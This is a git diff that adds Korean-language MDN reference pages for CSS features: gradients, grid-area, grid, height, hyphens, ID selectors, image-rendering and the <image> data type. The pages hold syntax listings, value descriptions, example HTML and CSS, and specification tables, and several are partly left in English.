색과 관련한 다른 보간과 마찬가지로, 그레이디언트도 색과 투명도가 동시에 변할 때 예상하지 못한 회색이 등장하는걸 방지하기 위해 알파 채널을 미리 곱한 색 공간을 사용해 계산합니다. 오래 된 브라우저에서 {{cssxref("<color>", "", "#transparent_키워드")}} 키워드를 사용할 땐 다르게 행동할 수 있음을 주의하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#gradients', '<gradient>')}}{{Spec2('CSS4 Images')}}Adds conic-gradient.
{{SpecName('CSS3 Images', '#gradients', '<gradient>')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.image.gradient")}}

+ +

같이 보기

+ +
    +
  • CSS 그레이디언트 사용하기
  • +
  • 그레이디언트 함수: {{cssxref("linear-gradient", "linear-gradient()")}}, {{cssxref("radial-gradient", "radial-gradient()")}}, {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}, {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}
  • +
diff --git a/files/ko/web/css/grid-area/index.html b/files/ko/web/css/grid-area/index.html new file mode 100644 index 0000000000..9daba54c7b --- /dev/null +++ b/files/ko/web/css/grid-area/index.html @@ -0,0 +1,206 @@ +--- +title: grid-area +slug: Web/CSS/grid-area +tags: + - CSS + - CSS Grid + - CSS Property + - Reference +translation_of: Web/CSS/grid-area +--- +

grid-area 속성은 {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} and {{cssxref("grid-column-end")}} 값을 한번에 설정하는 shorthand property 입니다. 해당 속성값은 grid item의 크기와 위치를 결정합니다., specifying a grid item’s size and location within the {{glossary("grid rows", "grid row")}} by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its {{glossary("grid areas", "grid area")}}.

+ +
{{EmbedInteractiveExample("pages/css/grid-area.html")}}
+ + + +

If four <grid-line> values are specified, grid-row-start is set to the first value, grid-column-start is set to the second value, grid-row-end is set to the third value, and grid-column-end is set to the fourth value.

+ +

When grid-column-end is omitted, if grid-column-start is a {{cssxref("<custom-ident>")}}, grid-column-end is set to that <custom-ident>; otherwise, it is set to auto.

+ +

When grid-row-end is omitted, if grid-row-start is a <custom-ident>, grid-row-end is set to that <custom-ident>; otherwise, it is set to auto.

+ +

When grid-column-start is omitted, if grid-row-start is a <custom-ident>, all four longhands are set to that value. Otherwise, it is set to auto.

+ +

The grid-area property can also be set to a {{cssxref("<custom-ident>")}} which acts as a name for the area, which can then be placed using {{cssxref("grid-template-areas")}}.

+ +

Syntax

+ +
/* Keyword values */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* <custom-ident> values */
+grid-area: some-grid-area;
+grid-area: some-grid-area / another-grid-area;
+
+/* <integer> && <custom-ident>? values */
+grid-area: some-grid-area 4;
+grid-area: some-grid-area 4 / 2 another-grid-area;
+
+/* span && [ <integer> || <custom-ident> ] values */
+grid-area: span 3;
+grid-area: span 3 / span some-grid-area;
+grid-area: 2 span / another-grid-area span;
+
+/* Global values */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;
+
+ +

Values

+ +
+
auto
+
Is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of 1.
+
<custom-ident>
+
If there is a named line with the name '<custom-ident>-start'/'<custom-ident>-end', it contributes the first such line to the grid item’s placement. +

Note: Named grid areas automatically generate implicit named lines of this form, so specifying grid-area: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).

+ +

Otherwise, this is treated as if the integer 1 had been specified along with the <custom-ident>.

+
+
<integer> && <custom-ident>?
+
Contributes the nth grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid. +

If a name is given as a {{cssxref("<custom-ident>")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.

+ +

An {{cssxref("<integer>")}} value of 0 is invalid.

+
+
span && [ <integer> || <custom-ident> ]
+
Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines from the opposite edge. +

If a name is given as a {{cssxref("<custom-ident>")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.

+ +

If the {{cssxref("<integer>")}} is omitted, it defaults to 1. Negative integers or 0 are invalid.

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML content

+ +
<div id="grid">
+  <div id="item1"></div>
+  <div id="item2"></div>
+  <div id="item3"></div>
+</div>
+ +

CSS content

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+  background-color: lime;
+  grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+
+ +

{{EmbedLiveSample("Example", "100%", "150px")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid-area")}}

+ +

See also

+ +
    +
  • Related CSS properties: {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-template-areas")}}
  • +
  • Grid Layout Guide: Grid template areas
  • +
  • Video tutorial: Grid Template Areas
  • +
+ + diff --git a/files/ko/web/css/grid/index.html b/files/ko/web/css/grid/index.html new file mode 100644 index 0000000000..7515db99be --- /dev/null +++ b/files/ko/web/css/grid/index.html @@ -0,0 +1,192 @@ +--- +title: grid +slug: Web/CSS/grid +tags: + - CSS + - CSS Grid + - CSS Property + - Reference +translation_of: Web/CSS/grid +--- +

grid CSS 속성은 shorthand property 입니다. 외재적인 속성인 ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}), 값과 내재적인 속성인 ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}), 값을 한번에 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/grid.html")}}
+ + + +
+

Note: You can only specify the explicit or the implicit grid properties in a single grid declaration. The sub-properties you don’t specify are set to their initial value, as normal for shorthands. Also, the gutter properties are NOT reset by this shorthand.

+
+ +

Syntax

+ +
/* <'grid-template'> values */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* <'grid-template-rows'> /
+   [ auto-flow && dense? ] <'grid-auto-columns'>? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow && dense? ] <'grid-auto-rows'>? /
+   <'grid-template-columns'> values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+
+ +

Values

+ +
+
<'grid-template'>
+
{{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}} 값을 내포하고 있는 {{cssxref("grid-template")}}의 값을 정의합니다.
+
<'grid-template-rows'> / [ auto-flow && dense? ] <'grid-auto-columns'>?
+
{{cssxref("grid-template-rows")}} (and the {{cssxref("grid-template-columns")}} property to none)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-columns")}} (and setting {{cssxref("grid-auto-rows")}} to auto)은 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 dense 입니다. +

만약 grid 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.

+
+
[ auto-flow && dense? ] <'grid-auto-rows'>? / <'grid-template-columns'>
+
{{cssxref("grid-template-columns")}} (and the {{cssxref("grid-template-rows")}} property to none)은 auto-flow 값을 설정합니다. {{cssxref("grid-auto-rows")}} (and setting {{cssxref("grid-auto-columns")}} to auto)은 열(row)에 대한 auto-repeat를 설정합니다. {{cssxref("grid-auto-flow")}} 또한 마찬가지로 auto-repeat에 영향을 줍니다. 만약 이 값이 생략되었다면 그 기본값은 dense 입니다. +

만약  grid 의 sub-properties가 있다면, 해당 값으로 초기화 됩니다.

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML Content

+ +
<div id="container">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS Content

+ +
#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container > div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example", "100%", 150)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid")}}

+ +

See also

+ + + + diff --git a/files/ko/web/css/height/index.html b/files/ko/web/css/height/index.html new file mode 100644 index 0000000000..8682d0c2c5 --- /dev/null +++ b/files/ko/web/css/height/index.html @@ -0,0 +1,175 @@ +--- +title: height +slug: Web/CSS/height +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/height +--- +
{{CSSRef}}
+ +

height CSS 속성은 요소의 높이를 지정합니다. 기본값은 콘텐츠 영역의 높이지만, {{cssxref("box-sizing")}}이 border-box라면 테두리 영역의 높이를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/height.html")}}
+ + + +

{{cssxref("min-height")}}와 {{cssxref("max-height")}} 속성은 height를 덮어씁니다.

+ +

구문

+ +
/* 키워드 */
+height: auto;
+
+/* <length> */
+height: 120px;
+height: 10em;
+
+/* <percentage> */
+height: 75%;
+
+/* 전역 값 */
+height: inherit;
+height: initial;
+height: unset;
+
+ +

+ +
+
{{cssxref("<length>")}}
+
높이의 절대값.
+
{{cssxref("<percentage>")}}
+
컨테이닝 블록 높이의 백분율.
+
border-box {{experimental_inline}}
+
앞선 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}가 요소의 보더 박스에 적용.
+
content-box {{experimental_inline}}
+
앞선 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}가 요소의 콘텐츠 박스에 적용.
+
auto
+
브라우저가 요소의 너비를 계산하고 선택.
+
fill {{experimental_inline}}
+
글쓰기 방향에 따라 fill-available 인라인 크기 또는 fill-available 블록 크기를 사용.
+
max-content {{experimental_inline}}
+
본질적인 선호 높이.
+
min-content {{experimental_inline}}
+
본질적인 최소 높이.
+
available {{experimental_inline}}
+
컨테이닝 블록 너비에서 수평 여백, 테두리, 패딩을 제외한 값.
+
fit-content {{experimental_inline}}
+
다음 중 더 큰 값. +
    +
  • 본질적인 최소 너비
  • +
  • 본질적인 선호 너비와 사용 가능한 너비 중 작은 값
  • +
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div id="taller">제 키는 50픽셀입니다.</div>
+<div id="shorter">제 키는 25픽셀입니다.</div>
+<div id="parent">
+  <div id="child">
+    제 키는 부모의 절반입니다.
+  </div>
+</div>
+
+ +

CSS

+ +
div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 2px solid blue;
+}
+
+#taller {
+  height: 50px;
+}
+
+#shorter {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제', 'auto', 240)}}

+ +

접근성 고려사항

+ +

페이지를 확대하거나 글꼴 크기를 늘렸을 때 height 속성을 지정한 요소가 잘리거나 다른 내용을 가리지 않도록 확인하세요.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#width-and-height', 'height')}}{{Spec2('CSS3 Box')}}Added the max-content, min-content, available, fit-content, border-box, content-box keywords.
{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}{{Spec2('CSS3 Transitions')}}Lists height as animatable.
{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}{{Spec2('CSS2.1')}}Adds support for the {{cssxref("<length>")}} values and precises on which element it applies to.
{{SpecName('CSS1', '#height', 'height')}}{{Spec2('CSS1')}}Initial definition.
{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}{{Spec2('CSS3 Sizing')}}Adds new sizing keywords for width and height.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.height")}}

+ +

같이 보기

+ +
    +
  • box model, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}
  • +
diff --git a/files/ko/web/css/hyphens/index.html b/files/ko/web/css/hyphens/index.html new file mode 100644 index 0000000000..82f963023f --- /dev/null +++ b/files/ko/web/css/hyphens/index.html @@ -0,0 +1,159 @@ +--- +title: hyphens +slug: Web/CSS/hyphens +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/hyphens +--- +
{{CSSRef}}
+ +

CSS hyphens 속성은 여러 줄에 걸치는 텍스트에서 단어에 붙임표를 추가하는 방식을 설정합니다. 붙임표를 아예 방지할 수도 있고, 수동으로 지정한 곳에서만 발생하도록 나타낼 수도 있으며, 브라우저가 자동으로 적절한 곳에 붙임표를 삽입하도록 허용할 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/hyphens.html")}}
+ + + +

붙임표 규칙은 언어별로 다릅니다. HTML의 언어는 lang 특성으로 알아낼 수 있으며, 브라우저는 lang 특성과 해당 언어에 적합한 붙임표 규칙이 모두 사용 가능할 때에만 붙임표를 추가합니다. XML에서는 xml:lang 특성을 사용해야 합니다.

+ +
+

참고: 명세는 붙임표 규칙을 명시하지 않고 있으므로 동작 방식이 브라우저마다 다를 수 있습니다.

+
+ +

구문

+ +
/* 키워드 값 */
+hyphens: none;
+hyphens: manual;
+hyphens: auto;
+
+/* 전역 값 */
+hyphens: inherit;
+hyphens: initial;
+hyphens: unset;
+
+ +

hyphens 속성은 아래 목록 중 하나의 키워드를 사용해 지정할 수 있습니다.

+ +

+ +
+
none
+
단어 내의 문자가 줄 바꿈 위치를 나타내더라도 단어를 내에서 줄을 바꾸지 않습니다. 줄 바꿈은 공백 문자에서만 발생합니다.
+
manual
+
단어 내의 줄 바꿈 위치를 나타내는 문자에서는 줄을 바꿀 수 있습니다. 아래의 {{anch("줄 바꿈 위치 제안")}}에서 자세한 정보를 알아보세요.
+
auto
+
브라우저가 단어 내의 적합한 붙임표 위치를 자유롭게 골라서 줄을 바꿀 수 있습니다. 단, 줄 바꿈 위치를 제안(아래의 {{anch("줄 바꿈 위치 제안")}} 을 보세요)한 경우에는 해당 위치를 사용합니다.
+
+ +
+

참고: 적합한 붙임표 규칙을 선택할 수 있도록 언어를 제대로 명시해야 auto 값의 동작도 정확해집니다. HTML lang 특성을 사용해 해당 언어의 붙임표 규칙을 사용할 것을 확실하게 지정하세요.

+
+ +

줄 바꿈 위치 제안

+ +

아래의 두 가지 Unicode 문자를 사용해서 수동으로 줄 바꿈 위치를 제안할 수 있습니다.

+ +
+
U+2010 (HYPHEN)
+
붙임표, "하드" 하이픈 문자는 눈에 보이는 줄 바꿈 위치를 나타냅니다. 실제로 줄이 바뀌지는 않더라도 붙임표를 볼 수 있습니다.
+
U+00AD (SHY)
+
투명한 "소프트" 하이픈("soft" hyphen)입니다. 눈에 보이지 않으며, 브라우저가 붙임표를 사용해 단어를 끊을 위치로 선택합니다. HTML에서는 &shy;를 사용해 입력하세요.
+
+ +
+

HTML {{htmlelement("wbr")}} 요소로 인한 줄 바꿈으로는 붙임표가 추가되지 않습니다.

+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

붙임표 줄 바꿈 지정하기

+ +

다음 예제는 hyphens 속성에 사용할 수 있는 세 개 값을 시연합니다.

+ +

HTML

+ +
<dl>
+  <dt><code>none</code>: no hyphen; overflow if needed</dt>
+  <dd lang="en" class="none">An extreme&shy;ly long English word</dd>
+  <dt><code>manual</code>: hyphen only at &amp;hyphen; or &amp;shy; (if needed)</dt>
+  <dd lang="en" class="manual">An extreme&shy;ly long English word</dd>
+  <dt><code>auto</code>: hyphens where the algorithm decides (if needed)</dt>
+  <dd lang="en" class="auto">An extreme&shy;ly long English word</dd>
+</dl>
+
+ +

CSS

+ +
dd {
+  width: 55px;
+  border: 1px solid black;
+ }
+dd.none {
+  -webkit-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+dd.manual {
+  -webkit-hyphens: manual;
+  -ms-hyphens: manual;
+  hyphens: manual;
+}
+dd.auto {
+  -webkit-hyphens: auto;
+  -ms-hyphens: auto;
+  hyphens: auto;
+}
+
+ +

결과

+ +
+

{{EmbedLiveSample("붙임표_줄_바꿈_지정하기", "100%", 490)}}

+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Text", "#hyphens-property", "hyphens")}}{{Spec2("CSS3 Text")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.properties.hyphens")}}

+
+ +

같이 보기

+ +
    +
  • {{Cssxref("content")}}
  • +
  • {{cssxref("overflow-wrap")}} (이전 이름 word-wrap)
  • +
  • {{cssxref("word-break")}}
  • +
diff --git a/files/ko/web/css/id_selectors/index.html b/files/ko/web/css/id_selectors/index.html new file mode 100644 index 0000000000..10df449707 --- /dev/null +++ b/files/ko/web/css/id_selectors/index.html @@ -0,0 +1,85 @@ +--- +title: ID 선택자 +slug: Web/CSS/ID_selectors +tags: + - CSS + - Reference + - Selectors + - 선택자 +translation_of: Web/CSS/ID_selectors +--- +
{{CSSRef}}
+ +

CSS ID 선택자는 요소의 {{htmlattrxref("id")}} 특성 값을 비교하여, 완전히 동일한 id를 가진 요소를 선택합니다.

+ +
/* id="demo" 요소 선택 */
+#demo {
+  border: red 2px solid;
+}
+ +

구문

+ +
#id_value { style properties }
+ +

위의 구문은 특성 선택자를 사용한 다음 구문과 동일합니다.

+ +
[id=id_value] { style properties }
+ +

예제

+ +

CSS

+ +
#identified {
+  background-color: skyblue;
+}
+
+ +

HTML

+ +
<div id="identified">특별한 ID를 가진 요소에요!</div>
+<div>이건 그냥 div에요.</div>
+
+ +

결과

+ +

{{EmbedLiveSample("Example", '100%', 50)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS4 Selectors")}}
{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS3 Selectors")}}
{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}{{Spec2("CSS2.1")}}
{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}{{Spec2("CSS1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.id")}}

diff --git a/files/ko/web/css/image-rendering/index.html b/files/ko/web/css/image-rendering/index.html new file mode 100644 index 0000000000..85522966f0 --- /dev/null +++ b/files/ko/web/css/image-rendering/index.html @@ -0,0 +1,120 @@ +--- +title: image-rendering +slug: Web/CSS/image-rendering +tags: + - CSS + - CSS Images + - CSS Property + - Reference +translation_of: Web/CSS/image-rendering +--- +
{{CSSRef}}
+ +

image-rendering CSS 프로퍼티는 브라우저의 이미지 스케일링 방식에 대한 힌트를 제공합니다. 이 프로퍼티는 엘리먼트 자신에게 적용시킵니다. 스케일링(크기변경)이 안 된 이미지에게는 적용되지 않습니다.

+ +

예를들어, 100x100 픽셀의 이미지가 있는데 페이지에서 요구하는 이미지는 200x200픽셀 (혹은 50x50px)이라면, 이미지는 새로운 면적만큼의 특정 알고리즘으로 인해 확대(혹은 축소)됩니다. 스케일링은 사용자의 상호작용(줌기능) 으로 인해 일어날겁니다.

+ +

{{cssinfo}}

+ +

구문

+ +
/* 키워드 값 */
+image-rendering: auto;
+image-rendering: crisp-edges;
+image-rendering: pixelated;
+
+/* 전역 값 */
+image-rendering: inherit;
+image-rendering: initial;
+image-rendering: unset;
+
+ +

Values

+ +
+
auto
+
기본값입니다.
+ 이미지의 스케일링 알고리즘은 이미지를 최대치로 활용해서 나타냅니다. 특히, 스케일링 알고리즘은 이중선형보간법같은 알고리즘이 보기에 괜찮은 "부드러운"색상을 나타냅니다. 사진같은 종류의 것들을 위해 GEcko엔진 1.9버전(파이어폭스 3.0) 에서는 이중선형 리샘플링(고품질) 을 사용해왔습니다.
+
+ +
+
+ +
+
crisp-edges
+
이미지 스케일링 알고리즘은 반드시 색상대조와 이미지의 표준을 맞게 보존해야 합니다. 그리고 smooth 하지 못한 색상 혹은 이미지의 흐림효과 또한 알고리즘 공정에 있어야합니다. 이 속성은 픽셀아트같은 의도되어 만들어진 이미지들에게 필요합니다.
+
pixelated
+
이미지 스케일링을 크게 확대할 때는 "nearest neighbor" 혹은 비슷한 알고리즘을 반드시 사용해야 합니다. 그래서 이미지의 큰 픽셀로 구성해서 나타낼 수 있습니다. 이미지를 작게 축소할 때는 "auto" 속성과 같습니다.
+
+ +
The values optimizeQuality and optimizeSpeed present in early draft (and coming from its SVG counterpart) are defined as synonyms for the auto value.
+ +

공식 문법

+ +
{{csssyntax}}
+ +

예제

+ +
/* applies to GIF and PNG images; avoids blurry edges */
+
+img[src$=".gif"], img[src$=".png"] {
+                   image-rendering: -moz-crisp-edges;         /* Firefox */
+                   image-rendering:   -o-crisp-edges;         /* Opera */
+                   image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+                   image-rendering: crisp-edges;
+                   -ms-interpolation-mode: nearest-neighbor;  /* IE (non-standard property) */
+                 }
+
+
+ +
div {
+        background: url(chessboard.gif) no-repeat 50% 50%;
+        image-rendering: -moz-crisp-edges;         /* Firefox */
+        image-rendering:   -o-crisp-edges;         /* Opera */
+        image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+        image-rendering: crisp-edges;
+        -ms-interpolation-mode: nearest-neighbor;  /* IE (non-standard property) */
+}
+ +

{{EmbedLiveSample('예제')}}

+ +

Live Examples

+ +

image-rendering: auto;

+ +

78% squares.gif 100% squares.gif 138% squares.gif downsized hut.jpg upsized blumen.jpg

+ +

image-rendering: pixelated; (-ms-interpolation-mode: nearest-neighbor)

+ +

78% squares.gif 100% squares.gif 138% squares.gif downsized hut.jpg upsized blumen.jpg

+ +

image-rendering: crisp-edges; (-webkit-optimize-contrast)

+ +

78% squares.gif 100% squares.gif 138% squares.gif downsized hut.jpg upsized blumen.jpg

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Images', '#the-image-rendering', 'image-rendering')}}{{Spec2('CSS3 Images')}}Initial definition
+ +
+

Note: Though initially close from the SVG image-rendering property, the values are quite different now.

+
+ +

브라우저 지원

+ +

{{Compat("css.properties.image-rendering")}}

diff --git a/files/ko/web/css/image/index.html b/files/ko/web/css/image/index.html new file mode 100644 index 0000000000..7d68b3fadc --- /dev/null +++ b/files/ko/web/css/image/index.html @@ -0,0 +1,175 @@ +--- +title: +slug: Web/CSS/image +tags: + - CSS + - CSS Data Type + - CSS Images + - Graphics + - Layout + - Reference + - Web +translation_of: Web/CSS/image +--- +
{{CSSRef}}
+ +

<image> CSS 자료형은 2차원 이미지를 나타냅니다. 이미지는 {{cssxref("<url>")}}로 참조하는 일반 이미지, {{cssxref("<gradient>")}} 또는 {{cssxref("element")}}를 사용해 동적으로 생성하는 이미지 두 종류가 있습니다. 다른 이미지 함수로는 {{cssxref("imagefunction", "image()")}}, {{cssxref("image-set")}}, {{cssxref("cross-fade")}} 등이 있습니다. 이미지는 {{CSSxRef("background-image")}}, {{CSSxRef("border-image")}}, {{CSSxRef("content")}}, {{CSSxRef("cursor")}}, {{CSSxRef("list-style-image")}} 등 많은 속성에 사용할 수 있습니다.

+ +

이미지 유형

+ +

CSS는 다음 이미지 종류를 처리할 수 있습니다.

+ +
    +
  • 본질적인 크기(원래 크기)를 가진 이미지. JPEG, PNG 등 래스터 포맷.
  • +
  • 여러 개의 본질적인 크기를 가진 이미지. 하나의 파일이 이미지의 여러 버전을 가지고 있는 경우. 일부 .ico 파일 등. 이 때, 본질적인 크기는 제일 크고 컨테이닝 박스와 가로세로 비율이 제일 비슷한 이미지를 따라갑니다.
  • +
  • 본질적인 크기는 없지만 본질적인 종횡비를 가진 이미지. SVG 등 벡터 포맷.
  • +
  • 본질적인 크기도, 종횡비도 없는 이미지. CSS 그레이디언트 등.
  • +
+ +

CSS는 객체의 구체적인 크기를 (1) 그 본질적인 크기, (2) {{CSSxRef("width")}}, {{CSSxRef("height")}}, {{CSSxRef("background-size")}} 등 CSS 속성으로 설정한 크기, (3) 아래 표에 나열한, 이미지를 설정한 속성에 따른 기본값을 통해 결정합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
객체 유형 (CSS 속성)객체 크기의 기본값
{{CSSxRef("background-image")}}요소의 배경 위치 영역 크기
{{CSSxRef("list-style-image")}}1em 문자의 크기
{{CSSxRef("border-image-source")}}요소의 테두리 이미지 영역 크기
{{CSSxRef("cursor")}}브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈
{{CSSxRef("mask-image")}}?
{{CSSxRef("shape-outside")}}?
{{CSSxRef("mask-border-source")}}?
{{cssxref("@counter-style")}}의 {{CSSxRef("symbols")}}실험적 기능. 지원 시엔 브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈
의사 요소의 {{CSSxRef("content")}} ({{CSSxRef("::after")}}/{{CSSxRef("::before")}})300px × 150px 사각형
+ +

구체적인 크기는 다음 알고리즘을 사용해 계산합니다.

+ +
    +
  • 너비와 높이 모두 지정한 크기가 있다면 그 값을 구체적인 크기로 사용합니다.
  • +
  • 너비 또는 높이만 지정한 크기가 있고, 본질적인 종횡비가 있다면 그 값으로 다른 크기를 계산해 사용하고, 지정한 크기가 본질적인 크기와 일치하면 다른 크기도 본질적인 크기를 사용하고, 모두 아니면 객체 크기의 기본값을 사용합니다.
  • +
  • 너비도 높이도 지정한 크기가 없다면, 객체 크기의 기본값을 넘지 않는 한도에서 이미지의 본질적인 종횡비를 사용해 구체적인 크기를 결정합니다. 본질적인 종횡비가 없으면 요소의 종횡비를 사용하며, 요소도 가지고 있지 않으면 객체 크기의 기본값에서 가져옵니다.
  • +
+ +
참고: 모든 브라우저가 모든 속성에 모든 유형의 이미지를 지원하는건 아닙니다. {{anch("브라우저 호환성")}} 항목을 참고하세요.
+ +

구문

+ +

<image> 자료형은 다음 중 하나로 나타낼 수 있습니다.

+ +
    +
  • {{CSSxRef("<url>")}} 자료형
  • +
  • {{CSSxRef("<gradient>")}} 자료형
  • +
  • {{CSSxRef("element")}} 함수로 정의한 웹페이지의 일부
  • +
  • {{CSSxRef("image()")}} 함수로 정의한 이미지, 이미지 조각, 단일 색
  • +
  • {{CSSxRef("cross-fade")}} 함수로 정의한 두 개 이상 이미지의 혼합
  • +
  • {{CSSxRef("image-set")}} 함수로 정의한 이미지 중 적절한 해상도
  • +
+ +

예제

+ +

유효한 이미지

+ +
url(test.jpg)               /* "test.jpg"가 실제로 이미지일 때 <url> */
+linear-gradient(blue, red)  /* <gradient> */
+element(#realid)            /* "realid"가 페이지에 존재하는 ID일 때
+                               element() 함수로 참조한 웹페이지의 일부 */
+image(ltr 'arrow.png#xywh=0,0,16,16', red)
+                            /* "arrow.png"가 지원되는 이미지일 때 <url>의 일부, 원본의 좌상단부터 16x16
+                               지원하지 않는 이미지일 때 빨강 단색
+                               RTL 언어에서는 이미지아 가로방향 반전됨 */
+cross-fade(20% url(twenty.png), url(eighty.png))
+                            /* 혼합 이미지, "twenty.png" 불투명도 20%
+                                         "eighty.png" 불투명도 80% */
+image-set('test.jpg' 1x, 'test-2x.jpg' 2x)
+                            /* 여러 해상도의 이미지 묶음 */
+ +

유효하지 않은 이미지

+ +
nourl.jpg            /* 이미지 파일은 url() 함수로 정의해야 함 */
+url(report.pdf)      /* url() 함수가 가리키는 파일은 이미지여야 함 */
+element(#fakeid)     /* 요소 ID가 페이지에 존재해야 함 */
+image(z.jpg#xy=0,0)  /* 이미지 조각은 xywh=#,#,#,# 형식으로 작성해야 함 */
+image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* 각각의 이미지가 다른 해상도를 가져야 함 */
+
+ +

접근성 고려사항

+ +

